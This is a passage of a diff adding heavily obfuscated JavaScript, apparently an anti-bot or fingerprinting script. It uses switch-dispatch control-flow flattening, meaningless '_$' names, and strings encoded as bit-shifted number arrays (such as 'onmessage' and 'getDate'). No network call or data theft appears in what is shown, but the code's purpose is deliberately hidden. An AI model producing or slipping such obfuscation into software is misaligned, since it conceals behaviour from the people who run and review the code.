_$n != _$f; + if (_$t) { + _$c = _$G; + _$s = _$y; + _$n = 1; + _$f = _$s + _$n; + _$t = _$G; + _$i = _$y; + _$o = _$t[_$i]; + _$c[_$f] = _$o + } else { + _$c = 0; + return _$c + } + } + } else { + _$c = _$a; + _$s = _$y; + _$n = _$c[_$s]; + _$f = _$QA; + _$t = _$n != _$f; + if (_$t) { + _$c = _$G; + _$s = _$y; + _$n = 1; + _$f = _$s + _$n; + _$t = _$G; + _$i = _$y; + _$o = _$t[_$i]; + _$c[_$f] = _$o + } else { + _$c = 0; + return _$c + } + } + } + break; + case 7: + _$W = _$U + _$O; + break; + case 8: + if (_$O.c(5) > _$U.c(4)) { + _$c = _$O; + _$s = _$EC; + _$n = _$c + _$s; + _$O = _$n + } + break; + case 9: + _$O = []; + _$P.apply(_$u, _$p); + break; + case 10: + for (_$Y = _$O.length - 1; _$Y >= 4; _$Y--) { + _$c = _$O; + _$s = _$LC; + _$n = _$W; + _$f = _$_C; + _$t = _$Y; + _$i = _$n[_$f](_$t); + _$c[_$s](_$i) + } + break; + case 11: + _$O += _$ZC; + break; + case 12: + _$U = []; + _$O = _$e + _$r; + break; + case 13: + if (_$O.c(5) > _$U.c(7)) { + _$c = _$O; + _$s = _$NC; + _$n = _$c + _$s; + _$O = _$n + } + break; + case 14: + for (_$Y = _$O.length - 1; _$Y >= 0; _$Y--) { + _$c = _$U; + _$s = _$LC; + _$n = _$O; + _$f = _$_C; + _$t = _$Y; + _$i = _$n[_$f](_$t); + _$c[_$s](_$i) + } + _$P = _$u.p; + break; + case 15: + _$O = _$O.j(_$BC); + break; + case 16: + _$O += _$zC; + break; + case 17: + return _$G[_$N]; + case 18: + if (_$a[0] == _$QA) { + _$c = 0; + return _$c + } + break; + case 19: + _$G = [1, 1]; + _$N = _$a.length; + break; + case 20: + _$U = _$W; + break + } + } + } + ; + _$XY = _$cW; + _$cW = function(_$a) { + var _$e, _$r, _$c, _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g, _$u, _$p, _$y, _$w, _$d, _$M, _$I, _$A, _$S, _$m, _$T, _$j, _$C, _$D, _$K, _$Q, _$W, _$Y, _$U, _$O, _$P, _$G, _$N, _$Z, _$z, _$E, _$R, _$_, _$L; + _$e = 0; + _$r = _$e; + _$c = 6; + _$v = 15; + _$s = 10; + _$n = 14; + _$f = 20; + _$t = 3; + _$i = 8; + _$o = 19; + _$k = 9; + _$b = 16; + _$l = 7; + _$h = 2; + _$g = 13; + _$u = 18; + _$p = 11; + _$y = 4; + _$w = 12; + _$d = 17; + _$M = 1; + _$I = [_$c, _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g, _$u, _$p, _$y, _$w, _$d, _$M]; + _$A = _$I; + while (!![]) { + switch (_$A[_$r++]) { + case 1: + return _$m[_$L]; + case 2: + if (_$D + _$K < 0) { + _$e = _$j; + _$c = _$D; + _$v = _$K; + _$s = _$c * _$v; + _$n = _$e << _$s; + _$f = _$j; + _$t = _$n >> _$f; + _$C = _$t + } + break; + case 3: + _$C = -5; + break; + case 4: + if (!_$j) { + _$e = 5; + _$c = _$D; + _$v = _$e + _$c; + _$s = 3; + _$n = _$v >> _$s; + _$j = _$n + } + case 5: + _$m[0] = _$m[1] = 1; + break; + case 6: + if (_$a[0] == 0) { + _$e = 0; + return _$e + } + _$S = _$A.p; + break; + case 7: + if (_$D < 0) { + _$e = _$C; + _$c = _$j; + _$v = _$K; + _$s = _$c / _$v; + _$n = _$e >> _$s; + _$f = _$j; + _$t = _$n >> _$f; + _$D = _$t + } + break; + case 8: + if (_$j + _$C + _$j > 0) { + _$e = _$j; + _$c = _$D; + _$v = _$K; + _$s = _$c + _$v; + _$n = _$e >> _$s; + _$f = _$j; + _$t = _$n >> _$f; + _$C = _$t; + _$e = _$C; + _$c = _$K; + _$v = _$e + _$c; + _$K = _$v + } + break; + case 9: + _$m = []; + break; + case 10: + if (_$j + _$C > 0) { + _$e = _$D; + _$c = 3; + _$v = _$e >> _$c; + _$K = _$v; + _$e = _$C; + _$c = _$K; + _$v = _$e + _$c; + _$K = _$v; + _$e = _$j; + _$c = _$D; + _$v = _$K; + _$s = _$c * _$v; + _$n = _$e >> _$s; + _$f = _$j; + _$t = _$n >> _$f; + _$C = _$t; + _$e = _$C; + _$c = _$K; + _$v = _$e / _$c; + _$K = _$v + } + break; + case 11: + if (!_$C) { + _$e = _$D; + _$c = 2; + _$v = _$C; + _$s = _$c + _$v; + _$n = _$j; + _$f = _$s - _$n; + _$t = _$e << _$f; + _$D = _$t + } + break; + case 12: + if (_$C + _$K > 0) { + _$e = _$D; + _$c = 4; + _$v = _$C; + _$s = _$c + _$v; + _$n = _$e >> _$s; + _$f = 3; + _$t = _$C; + _$i = _$f * _$t; + _$o = _$D; + _$k = _$i + _$o; + _$b = _$n >> _$k; + _$l = 2; + _$h = _$b << _$l; + _$K = _$h + } + break; + case 13: + for (_$T = 0; _$T < _$L + 1; _$T++) { + _$e = _$m; + _$c = _$LC; + _$v = 0; + _$e[_$c](_$v) + } + break; + case 14: + if (_$j && !_$C) { + _$e = _$D; + _$c = 3; + _$v = _$e % _$c; + _$K = _$v; + _$e = _$C; + _$c = _$K; + _$v = _$e + _$c; + _$K = _$v + } + break; + case 15: + _$j = 1; + _$C = -1; + _$D = 2; + _$K = 0; + break; + case 16: + if (_$j + _$K < _$C) { + _$e = _$j; + _$c = _$D; + _$v = _$K; + _$s = _$c + _$v; + _$n = _$e >> _$s; + _$f = _$j; + _$t = _$C; + _$i = _$f - _$t; + _$o = _$n >> _$i; + _$k = _$K; + _$b = _$o >> _$k; + _$K = _$b + } + break; + case 17: + for (_$T = 2; _$T <= _$L; _$T++) { + _$e = _$a; + _$c = _$T; + _$v = 1; + _$s = _$c - _$v; + _$n = _$e[_$s]; + _$f = 0; + _$t = _$n != _$f; + if (_$t) { + _$e = _$m; + _$c = _$T; + _$v = _$m; + _$s = _$T; + _$n = 1; + _$f = _$s - _$n; + _$t = _$v[_$f]; + _$e[_$c] += _$t + } + _$e = _$a; + _$c = _$T; + _$v = 2; + _$s = _$c - _$v; + _$n = _$e[_$s]; + _$f = 1; + _$t = _$n == _$f; + _$i = _$t; + if (!_$i) { + _$Q = _$a; + _$W = _$T; + _$Y = 2; + _$U = _$W - _$Y; + _$O = _$Q[_$U]; + _$P = 2; + _$G = _$O == _$P; + _$i = _$G && (_$N = _$a, + _$Z = _$T, + _$z = 1, + _$E = _$Z - _$z, + _$R = _$N[_$E], + _$_ = 6, + _$R <= _$_) + } + if (_$i) { + _$e = _$m; + _$c = _$T; + _$v = _$m; + _$s = _$T; + _$n = 2; + _$f = _$s - _$n; + _$t = _$v[_$f]; + _$e[_$c] += _$t + } + } + break; + case 18: + if (_$C + _$D > 0) { + _$e = _$D; + _$c = 2; + _$v = _$e << _$c; + _$D = _$v; + _$e = _$D; + _$c = _$K; + _$v = _$K; + _$s = _$c + _$v; + _$n = _$e >> _$s; + _$f = _$j; + _$t = _$n >> _$f; + _$C = _$t; + _$e = _$C; + _$c = _$K; + _$v = _$e / _$c; + _$K = _$v + } + break; + case 19: + if (_$C + _$D > 0) { + _$e = _$C; + _$c = _$K; + _$v = _$e + _$c; + _$K = _$v; + _$e = _$C; + _$c = _$K; + _$v = _$e - _$c; + _$D = _$v + } + break; + case 20: + _$L = _$a.length; + break + } + } + } + ; + _$FY = _$cW; + _$cW = function(_$a, _$e) { + var _$r, _$c, _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g, _$u, _$p, _$y, _$w, _$d, _$M, _$I, _$A, _$S, _$m; + _$r = 13; + _$c = _$r; + while (!![]) { + switch (_$c) { + case 1: + _$M = _$d[4] + _$d[6]; + _$c += 5; + break; + case 2: + _$v = []; + _$c += 15; + break; + case 3: + _$M = _$M / _$d[8]; + _$c += 4; + break; + case 4: + _$M = _$M / _$d[4]; + _$c += 21; + break; + case 5: + _$M = _$M + _$d[6]; + _$c += 4; + break; + case 6: + for (_$s = 0; _$s < _$a.length; _$s++) { + _$r = _$w; + _$n = _$a; + _$f = _$s; + _$t = _$n[_$f]; + _$i = _$r[_$t]; + _$o = !_$i; + if (_$o) { + _$r = _$w; + _$n = _$a; + _$f = _$s; + _$t = _$n[_$f]; + _$i = 1; + _$r[_$t] = _$i + } else { + _$r = _$w; + _$n = _$a; + _$f = _$s; + _$t = _$n[_$f]; + _$i = _$w; + _$o = _$a; + _$k = _$s; + _$b = _$o[_$k]; + _$l = _$i[_$b]; + _$h = 1; + _$g = _$l + _$h; + _$r[_$t] = _$g + } + } + _$c -= 1; + break; + case 7: + for (_$s = _$y.length - 1; _$s >= 0; _$s--) { + _$r = _$y; + _$n = _$s; + _$f = _$r[_$n]; + _$u = _$f; + _$r = _$u; + if (_$r) { + for (_$p = 0; _$p < _$u.length; _$p++) { + _$r = _$I; + _$n = _$e; + _$f = _$r === _$n; + if (_$f) { + _$r = _$v; + return _$r + } + _$r = _$v; + _$n = _$LC; + _$f = _$u; + _$t = _$p; + _$i = _$f[_$t]; + _$r[_$n](_$i); + _$I++ + } + } + } + _$c += 16; + break; + case 8: + _$y = []; + _$c += 6; + break; + case 9: + _$M = _$M * _$d[7]; + _$c += 3; + break; + case 10: + _$M = _$M - _$d[2]; + _$c -= 8; + break; + case 11: + _$M = _$M - _$d[2]; + _$c -= 8; + break; + case 12: + if (_$d[6] - _$d[5] > 0) { + _$r = _$M; + _$n = _$d; + _$f = 3; + _$t = _$n[_$f]; + _$i = _$r + _$t; + _$M = _$i; + _$r = _$M; + _$n = _$d; + _$f = 2; + _$t = _$n[_$f]; + _$i = _$r + _$t; + _$o = _$d; + _$k = 5; + _$b = _$o[_$k]; + _$l = _$i - _$b; + _$M = _$l + } else { + _$r = _$M; + _$n = _$d; + _$f = 6; + _$t = _$n[_$f]; + _$i = _$r * _$t; + _$M = _$i; + _$r = _$M; + _$n = _$d; + _$f = 2; + _$t = _$n[_$f]; + _$i = _$r - _$t; + _$M = _$i + } + _$c -= 4; + break; + case 13: + _$w = {}; + _$d = []; + _$c += 9; + break; + case 14: + _$d[8] = _$M / _$d[4]; + _$c += 4; + break; + case 15: + _$d[4] = _$M - _$d[5]; + _$c -= 4; + break; + case 16: + _$M = _$M + _$d[8]; + _$c += 5; + break; + case 17: + _$M = _$M * _$d[6]; + _$c += 9; + break; + case 18: + _$M = _$M - _$d[6]; + _$c -= 2; + break; + case 19: + _$I = 0; + _$c -= 4; + break; + case 20: + if (_$d[8] - _$d[5] > 0) { + _$r = _$M; + _$n = _$d; + _$f = 4; + _$t = _$n[_$f]; + _$i = _$r + _$t; + _$M = _$i; + _$r = _$M; + _$n = _$d; + _$f = 6; + _$t = _$n[_$f]; + _$i = _$r + _$t; + _$o = _$d; + _$k = 5; + _$b = _$o[_$k]; + _$l = _$i - _$b; + _$M = _$l + } else { + _$r = _$M; + _$n = _$d; + _$f = 0; + _$t = _$n[_$f]; + _$i = _$r * _$t; + _$M = _$i; + _$r = _$M; + _$n = _$d; + _$f = 2; + _$t = _$n[_$f]; + _$i = _$r - _$t; + _$M = _$i + } + _$c -= 1; + break; + case 21: + for (var _$T in _$w) { + _$r = _$w; + _$n = _$T; + _$f = _$r[_$n]; + _$A = _$f; + _$r = _$y; + _$n = _$A; + _$f = 1; + _$t = _$n - _$f; + _$i = _$r[_$t]; + _$o = !_$i; + if (_$o) { + _$r = _$y; + _$n = _$A; + _$f = 1; + _$t = _$n - _$f; + _$i = _$T; + _$o = 10; + _$k = parseInt(_$i, _$o); + _$b = [_$k]; + _$r[_$t] = _$b + } else { + _$r = _$y; + _$n = _$A; + _$f = 1; + _$t = _$n - _$f; + _$i = _$r[_$t]; + _$o = _$LC; + _$k = _$T; + _$b = 10; + _$l = parseInt(_$k, _$b); + _$i[_$o](_$l) + } + } + _$c -= 17; + break; + case 22: + for (_$S = 0; _$S < 10; _$S++) { + _$r = _$d; + _$n = _$LC; + _$f = _$S; + _$t = 6; + _$i = _$f + _$t; + _$r[_$n](_$i) + } + _$c -= 21; + break; + case 23: + _$M = _$M - _$d[2]; + case 24: + return _$v; + _$c -= NaN; + break; + case 25: + if (_$M - _$d[6]) { + _$r = _$M; + _$n = _$d; + _$f = 3; + _$t = _$n[_$f]; + _$i = _$r + _$t; + _$M = _$i + } + _$c -= 15; + break; + case 26: + _$m = _$d[0]; + _$c -= 6; + break + } + } + } + ; + _$JY = _$cW; + _$cW = function(_$a, _$e, _$r, _$c, _$v) { + var _$s = _$KA; + var _$n = _$DA; + var _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g, _$u, _$p, _$y, _$w, _$d, _$M, _$I, _$A, _$S, _$m, _$T, _$j, _$C, _$D; + _$f = 25; + _$t = _$f; + while (!![]) { + switch (_$t) { + case 1: + if (_$m.c(5) > _$S.c(7)) { + _$f = _$m; + _$i = _$NC; + _$o = _$f + _$i; + _$m = _$o + } + _$t += 4; + break; + case 2: + _$A = _$A.p(_$I); + _$t += 14; + break; + case 3: + _$k = _$BC; + _$t += 33; + break; + case 4: + _$C = [28416, 28160, 27904, 25856, 29440, 29440, 24832, 26368, 25856]; + _$t += 5; + break; + case 5: + _$S += _$GC; + _$t += 21; + break; + case 6: + _$a[_$e][_$r] = 0; + _$t += 32; + break; + case 7: + for (_$b = 0; _$b < _$A.length; _$b++) { + _$f = _$d; + _$i = _$A; + _$o = _$b; + _$l = _$i[_$o]; + _$h = 12; + _$g = _$l >> _$h; + _$u = _$bW(_$g); + _$p = _$f + _$u; + _$d = _$p + } + _$t -= 5; + break; + case 8: + _$j = _$C; + _$t += 19; + break; + case 9: + _$S = _$D; + _$t += 15; + break; + case 10: + for (_$y = _$m.length - 1; _$y >= 0; _$y--) { + _$f = _$S; + _$i = _$LC; + _$o = _$m; + _$l = _$_C; + _$h = _$y; + _$g = _$o[_$l](_$h); + _$f[_$i](_$g) + } + _$t -= 4; + break; + case 11: + _$T += _$$Y(_$a, _$e - 1, _$r, _$c, _$v); + _$t += 21; + break; + case 12: + _$I = _$A; + _$t += 6; + break; + case 13: + return _$T; + case 14: + _$j = 1; + _$t += 1; + break; + case 15: + _$m += _$ZC; + _$t -= 12; + break; + case 16: + _$w = typeof _$yW[_$k] === _$d; + _$t += 15; + break; + case 17: + _$D = _$m; + _$t += 18; + break; + case 18: + _$A = [454656, 401408, 434176, 413696, 405504, 475136]; + _$t -= 11; + break; + case 19: + _$T += _$$Y(_$a, _$e, _$r - 1, _$c, _$v); + _$t -= 6; + break; + case 20: + _$d = _$BC; + _$t -= 8; + break; + case 21: + _$I = 1; + _$t -= 1; + break; + case 22: + _$m = []; + _$t -= 11; + break; + case 23: + _$C = _$C + 1; + _$t += 5; + break; + case 24: + for (_$M = 0; _$M < _$C.length; _$M++) { + _$f = _$k; + _$i = _$C; + _$o = _$M; + _$l = _$i[_$o]; + _$h = 8; + _$g = _$l >> _$h; + _$u = _$bW(_$g); + _$p = _$f + _$u; + _$k = _$p + } + _$t -= 7; + break; + case 25: + if (_$e < 0 || _$e >= _$c || _$r < 0 || _$r >= _$v || _$a[_$e][_$r] == 0) { + _$f = 0; + return _$f + } + _$t += 4; + break; + case 26: + _$I = _$CA; + _$A = 1; + _$t += 13; + break; + case 27: + _$m += _$zC; + _$t -= 23; + break; + case 28: + _$m += _$zC; + _$t -= 14; + break; + case 29: + _$S = []; + _$m = _$n + _$s; + _$T = 1; + _$t -= 19; + break; + case 30: + _$j = _$jA; + _$C = 1; + _$t += 4; + break; + case 31: + _$T += _$$Y(_$a, _$e, _$r + 1, _$c, _$v); + _$t -= 12; + break; + case 32: + for (_$y = _$m.length - 1; _$y >= 4; _$y--) { + _$f = _$m; + _$i = _$LC; + _$o = _$D; + _$l = _$_C; + _$h = _$y; + _$g = _$o[_$l](_$h); + _$f[_$i](_$g) + } + _$t -= 2; + break; + case 33: + if (_$m.c(5) > _$S.c(4)) { + _$f = _$m; + _$i = _$EC; + _$o = _$f + _$i; + _$m = _$o + } + _$t += 4; + break; + case 34: + _$m = _$m.j(_$BC); + _$t -= 11; + break; + case 35: + _$C = _$C.p(_$j); + _$t -= 34; + break; + case 36: + _$m += _$_C; + _$t -= 28; + break; + case 37: + _$T += _$$Y(_$a, _$e + 1, _$r, _$c, _$v); + _$t += 3; + break; + case 38: + _$S = _$S.j(_$BC); + _$t -= 5; + break; + case 39: + _$A = _$A + 1; + _$t -= 18; + break; + case 40: + _$D = _$S + _$m; + _$t -= 18; + break + } + } + } + ; + _$$Y = _$cW; + function _$cU(_$a) { + var _$e = _$Cm; + var _$r = _$Ym; + var _$c = _$TA; + var _$v = _$lQ; + var _$s = _$Dm; + var _$n = _$mA; + var _$f = _$dQ; + var _$t = _$TQ; + var _$i = _$SA; + var _$o = _$jm; + var _$k = _$pQ; + var _$b = _$Tm; + var _$l = _$AA; + var _$h = _$yQ; + var _$g = _$IA; + var _$u = _$JD; + var _$p = _$MA; + var _$y = _$BD; + var _$w = _$dA; + var _$d = _$wA; + var _$M = _$wK; + var _$I = _$Rj; + var _$A = _$yA; + var _$S = _$dK; + var _$m = _$pA; + var _$T = _$uA; + var _$j = _$gA; + var _$C = _$hA; + var _$D = _$lA; + var _$K = _$bA; + var _$Q = _$IK; + var _$W = _$Mj; + var _$Y = _$wj; + var _$U = _$kA; + var _$O = _$oA; + var _$P = _$iA; + var _$G = _$gK; + var _$N = _$tA; + var _$Z = _$fA; + var _$z = _$nA; + var _$E = _$sA; + var _$R = _$vA; + var _$_ = _$cA; + var _$L = _$rA; + var _$V = _$eA; + var _$q = _$aA; + var _$H = _$$I; + var _$x = _$JI; + var _$B = _$FI; + var _$X = _$XI; + var _$F = _$BI; + var _$J = _$xI; + var _$$ = _$HI; + var _$aa = _$qI; + var _$ea = _$VI; + var _$ra = _$LI; + var _$ca = _$_I; + var _$va = _$RI; + var _$sa = _$EI; + var _$na = _$zI; + var _$fa = _$ZI; + var _$ta = _$NI; + var _$ia = _$GI; + var _$oa = _$PI; + var _$ka = _$OI; + var _$ba = _$UI; + var _$la = _$YI; + var _$ha = _$WI; + var _$ga = _$QI; + var _$ua = _$KI; + var _$pa = _$DI; + var _$ya = _$CI; + var _$wa = _$jI; + var _$da = _$TI; + var _$Ma = _$mI; + var _$Ia = _$SI; + var _$Aa = _$AI; + var _$Sa = _$II; + var _$ma = _$MI; + var _$Ta = _$dI; + var _$ja = _$wI; + var _$Ca = _$yI; + var _$Da = _$pI; + var _$Ka = _$uI; + var _$Qa = _$gI; + var _$Wa = _$hI; + var _$Ya = _$lI; + var _$Ua = _$bI; + var _$Oa = _$kI; + var _$Pa = _$oI; + var _$Ga = _$iI; + var _$Na = _$tI; + var _$Za = _$fI; + var _$za = _$nI; + var _$Ea = _$sI; + var _$Ra = _$vI; + var _$_a = _$cI; + var _$La = _$rI; + var _$Va = _$eI; + var _$qa = _$aI; + var _$Ha = _$$M; + var _$xa, _$Ba, _$Xa, _$Fa, _$Ja, _$$a, _$ae, _$ee, _$re, _$ce, _$ve, _$se, _$ne, _$fe, _$te, _$ie, _$oe, _$ke, _$be, _$le, _$he, _$ge, _$ue, _$pe, _$ye, _$we, _$de, _$Me, _$Ie, _$Ae, _$Se, _$me, _$Te, _$je, _$Ce, _$De, _$Ke, _$Qe, _$We, _$Ye, _$Ue, _$Oe, _$Pe, _$Ge, _$Ne, _$Ze, _$ze, _$Ee, _$Re, _$_e, _$Le, _$Ve, _$qe, _$He, _$xe, _$Be, _$Xe, _$Fe, _$Je, _$$e, _$ar, _$er, _$rr, _$cr, _$vr, _$sr, _$nr, _$fr, _$tr, _$ir, _$or, _$kr, _$br, _$lr, _$hr, _$gr, _$ur, _$pr, _$yr, _$wr, _$dr, _$Mr, _$Ir, _$Ar, _$Sr, _$mr, _$Tr, _$jr, _$Cr, _$Dr, _$Kr, _$Qr, _$Wr, _$Yr, _$Ur, _$Or, _$Pr, _$Gr, _$Nr, _$Zr, _$zr, _$Er, _$Rr, _$_r, _$Lr, _$Vr, _$qr, _$Hr, _$xr, _$Br, _$Xr, _$Fr, _$Jr, _$$r, _$ac, _$ec, _$rc, _$cc, _$vc, _$sc, _$nc, _$fc, _$tc, _$ic, _$oc, _$kc, _$bc, _$lc, _$hc, _$gc, _$uc, _$pc, _$yc, _$wc, _$dc, _$Mc, _$Ic, _$Ac, _$Sc, _$mc, _$Tc, _$jc, _$Cc, _$Dc, _$Kc, _$Qc, _$Wc, _$Yc, _$Uc, _$Oc, _$Pc, _$Gc, _$Nc, _$Zc, _$zc, _$Ec, _$Rc, _$_c, _$Lc, _$Vc, _$qc, _$Hc, _$xc, _$Bc, _$Xc, _$Fc, _$Jc, _$$c, _$av, _$ev, _$rv, _$cv, _$vv, _$sv, _$nv, _$fv, _$tv, _$iv, _$ov, _$kv, _$bv, _$lv, _$hv, _$gv, _$uv, _$pv, _$yv, _$wv, _$dv, _$Mv, _$Iv, _$Av, _$Sv, _$mv, _$Tv, _$jv, _$Cv, _$Dv, _$Kv, _$Qv, _$Wv, _$Yv, _$Uv, _$Ov, _$Pv, _$Gv, _$Nv, _$Zv, _$zv, _$Ev, _$Rv, _$_v, _$Lv, _$Vv; + _$xa = 83; + _$Ba = _$xa; + while (!![]) { + switch (_$Ba) { + case 1: + _$zv = _$dW; + _$Ba += 66; + break; + case 2: + for (_$Xa = 0; _$Xa < _$bv.length; _$Xa++) { + _$xa = _$Ev; + _$Fa = _$LC; + _$Ja = _$bv; + _$$a = _$Xa; + _$ae = _$Ja[_$$a]; + _$xa[_$Fa](_$ae) + } + _$Ba += 77; + break; + case 3: + for (_$ee = 1; _$ee < _$Vv.length; _$ee++) { + _$xa = _$Vv; + _$Fa = _$OC; + _$Ja = _$ee; + _$$a = _$xa[_$Fa](_$Ja); + _$ae = _$Ie; + _$re = _$OC; + _$ce = _$ee; + _$ve = 1; + _$se = _$ce - _$ve; + _$ne = _$ae[_$re](_$se); + _$fe = _$$a - _$ne; + _$te = _$bW(_$fe); + _$Ie += _$te + } + _$Ba += 61; + break; + case 4: + _$ie = _$BC; + _$Ba += 28; + break; + case 5: + _$oe = []; + _$ke = _$qY.length; + _$Ba += 6; + break; + case 6: + _$iv = 1; + _$Ba -= 2; + break; + case 7: + _$be = _$BC; + _$Ba += 30; + break; + case 8: + _$wv = _$wv + 1; + _$Ba += 63; + break; + case 9: + _$le = _$RW.length; + _$Ba += 10; + break; + case 10: + if (_$je + _$Ke < _$Ce) { + _$xa = _$je; + _$Fa = _$De; + _$Ja = _$Ke; + _$$a = _$Fa + _$Ja; + _$ae = _$xa >> _$$a; + _$re = _$je; + _$ce = _$Ce; + _$ve = _$re - _$ce; + _$se = _$ae >> _$ve; + _$ne = _$Ke; + _$fe = _$se >> _$ne; + _$Ke = _$fe + } + _$Ba += 33; + break; + case 11: + if (_$De < 0) { + _$xa = _$Ce; + _$Fa = _$je; + _$Ja = _$Ke; + _$$a = _$Fa / _$Ja; + _$ae = _$xa >> _$$a; + _$re = _$je; + _$ce = _$ae >> _$re; + _$De = _$ce + } + _$Ba += 1; + break; + case 12: + for (_$he = 0; _$he < _$ZY.length; _$he++) { + _$xa = _$JM; + _$ge = _$xa; + _$Fa = 1; + _$ue = _$Fa; + _$xa = _$ue; + _$Fa = 1; + _$Ja = _$xa + _$Fa; + _$ue = _$Ja; + _$xa = 1; + _$ge = _$xa; + _$xa = _$BC; + _$pe = _$xa; + _$xa = _$ue; + _$ge = _$xa; + _$xa = 1632; + _$Fa = 1728; + _$Ja = 1776; + _$$a = 1776; + _$ae = 1824; + _$re = [_$xa, _$Fa, _$Ja, _$$a, _$ae]; + _$ue = _$re; + for (_$ye = 0; _$ye < _$ue.length; _$ye++) { + _$xa = _$pe; + _$Fa = _$ue; + _$Ja = _$ye; + _$$a = _$Fa[_$Ja]; + _$ae = 4; + _$re = _$$a >> _$ae; + _$ce = _$bW(_$re); + _$ve = _$xa + _$ce; + _$pe = _$ve + } + _$xa = _$ue; + _$Fa = _$LC; + _$Ja = _$ge; + _$$a = _$xa[_$Fa](_$Ja); + _$ue = _$$a; + _$xa = _$oe; + _$Fa = _$he; + _$Ja = Math; + _$$a = _$pe; + _$ae = _$ZY; + _$re = _$he; + _$ce = _$ae[_$re]; + _$ve = _$Ja[_$$a](_$ce); + _$se = _$qY; + _$ne = _$he; + _$fe = _$ke; + _$te = _$ne % _$fe; + _$we = _$se[_$te]; + _$de = _$ve ^ _$we; + _$xa[_$Fa] = _$de + } + _$Ba += 23; + break; + case 13: + if (_$je + _$Ce > 0) { + _$xa = _$De; + _$Fa = 3; + _$Ja = _$xa >> _$Fa; + _$Ke = _$Ja; + _$xa = _$Ce; + _$Fa = _$Ke; + _$Ja = _$xa + _$Fa; + _$Ke = _$Ja; + _$xa = _$je; + _$Fa = _$De; + _$Ja = _$Ke; + _$$a = _$Fa * _$Ja; + _$ae = _$xa >> _$$a; + _$re = _$je; + _$ce = _$ae >> _$re; + _$Ce = _$ce; + _$xa = _$Ce; + _$Fa = _$Ke; + _$Ja = _$xa / _$Fa; + _$Ke = _$Ja + } + _$Ba -= 6; + break; + case 14: + _$ov = [26368, 25856, 29696, 17408, 24832, 29696, 25856]; + _$Ba += 11; + break; + case 15: + _$Me = _$be; + _$Ba += 1; + break; + case 16: + if (_$je && !_$Ce) { + _$xa = _$De; + _$Fa = 3; + _$Ja = _$xa % _$Fa; + _$Ke = _$Ja; + _$xa = _$Ce; + _$Fa = _$Ke; + _$Ja = _$xa + _$Fa; + _$Ke = _$Ja + } + _$Ba += 4; + break; + case 17: + _$ov = _$ov + 1; + _$Ba -= 11; + break; + case 18: + _$Ie = _$bW(_$Vv.d(0) - _$Vv.length); + _$Ba -= 15; + break; + case 19: + for (_$Ae = 0; _$Ae < _$Wv.length; _$Ae++) { + _$xa = _$Yv; + _$Fa = _$Ae; + _$Ja = _$Wv; + _$$a = _$Ae; + _$ae = _$Ja[_$$a]; + _$re = _$RW; + _$ce = _$Ae; + _$ve = _$le; + _$se = _$ce % _$ve; + _$ne = _$re[_$se]; + _$fe = _$ae ^ _$ne; + _$xa[_$Fa] = _$fe + } + _$Ba += 12; + break; + case 20: + _$Se = _$Na + _$Ra + _$wa + _$qa + _$Ta + _$Ga + _$Oa + _$ga + _$Za + _$za + _$La + _$Ea + _$Ka + _$Va + _$Ia + _$Ua + _$Ma + _$ja + _$Qa + _$Ca + _$oa + _$Ha + _$ya + _$ba + _$ua + _$ha + _$ma + _$ka + _$pa + _$Pa + _$da + _$la + _$Aa + _$Da + _$Wa + _$Sa + _$_a + _$Ya; + _$me = _$bW(_$Se.d(0) - _$Se.length); + _$Ba += 41; + break; + case 21: + _$Te = []; + _$je = 1; + _$Ce = -1; + _$De = 2; + _$Ke = 0; + _$Ba += 47; + break; + case 22: + _$dc = 1; + _$Ba += 20; + break; + case 23: + _$Wv = _$SY; + _$Ba -= 22; + break; + case 24: + try { + _$xa = Byte; + _$Qe = _$xa + } catch (_$a) { + _$xa = _$OC; + _$Wc = _$xa + } + _$Ba += 15; + break; + case 25: + for (_$We = 0; _$We < _$ov.length; _$We++) { + _$xa = _$ie; + _$Fa = _$ov; + _$Ja = _$We; + _$$a = _$Fa[_$Ja]; + _$ae = 8; + _$re = _$$a >> _$ae; + _$ce = _$bW(_$re); + _$ve = _$xa + _$ce; + _$ie = _$ve + } + _$Ba += 51; + break; + case 26: + for (_$Ye = 0; _$Ye < _$Me.length; _$Ye++) { + _$xa = _$Uc; + _$Fa = _$Me; + _$Ja = _$_C; + _$$a = _$Ye; + _$ae = _$Fa[_$Ja](_$$a); + _$re = _$xa[_$ae]; + _$ce = _$OC; + _$ve = _$re[_$ce](); + _$se = _$Qv; + _$ne = _$ve ^ _$se; + _$Ue = _$ne; + _$xa = _$tv; + _$Fa = _$LC; + _$Ja = _$Ue; + _$$a = _$bW(_$Ja); + _$xa[_$Fa](_$$a) + } + _$Ba -= 16; + break; + case 27: + _$wv = [6400, 7488, 3584, 4160, 3072, 4544, 7168, 6720, 7552, 6528, 4608, 4992, 3200]; + _$Ba += 39; + break; + case 28: + if (_$Uv) { + _$xa = _$aa + _$ca + _$na + _$va + _$ea + _$ra + _$ta + _$fa + _$ia + _$sa; + _$Oe = _$xa; + _$Fa = _$Oe; + _$Ja = _$OC; + _$$a = 0; + _$ae = _$Fa[_$Ja](_$$a); + _$re = _$Oe; + _$ce = _$PC; + _$ve = _$re[_$ce]; + _$se = _$ae - _$ve; + _$ne = _$bW(_$se); + _$Pe = _$ne; + for (_$Ge = 1; _$Ge < _$Oe.length; _$Ge++) { + _$xa = _$Oe; + _$Fa = _$OC; + _$Ja = _$Ge; + _$$a = _$xa[_$Fa](_$Ja); + _$ae = _$Pe; + _$re = _$OC; + _$ce = _$Ge; + _$ve = 1; + _$se = _$ce - _$ve; + _$ne = _$ae[_$re](_$se); + _$fe = _$$a - _$ne; + _$te = _$bW(_$fe); + _$Pe += _$te + } + _$xa = _$Pe; + _$Ne = _$xa; + _$xa = []; + _$PW = _$xa; + _$xa = 70; + _$Fa = 80; + _$Ja = 101; + _$$a = 100; + _$ae = 118; + _$re = 67; + _$ce = 108; + _$ve = 106; + _$se = 77; + _$ne = 55; + _$fe = 104; + _$te = 97; + _$we = 79; + _$de = 115; + _$Le = 102; + _$Ve = 87; + _$qe = 76; + _$He = 53; + _$xe = 57; + _$Be = 73; + _$Xe = 110; + _$Fe = 82; + _$Je = 66; + _$$e = 114; + _$ar = 81; + _$er = 71; + _$rr = 88; + _$cr = 83; + _$vr = 111; + _$sr = 61; + _$nr = 90; + _$fr = 112; + _$tr = 109; + _$ir = 105; + _$or = 69; + _$kr = 113; + _$br = 86; + _$lr = 50; + 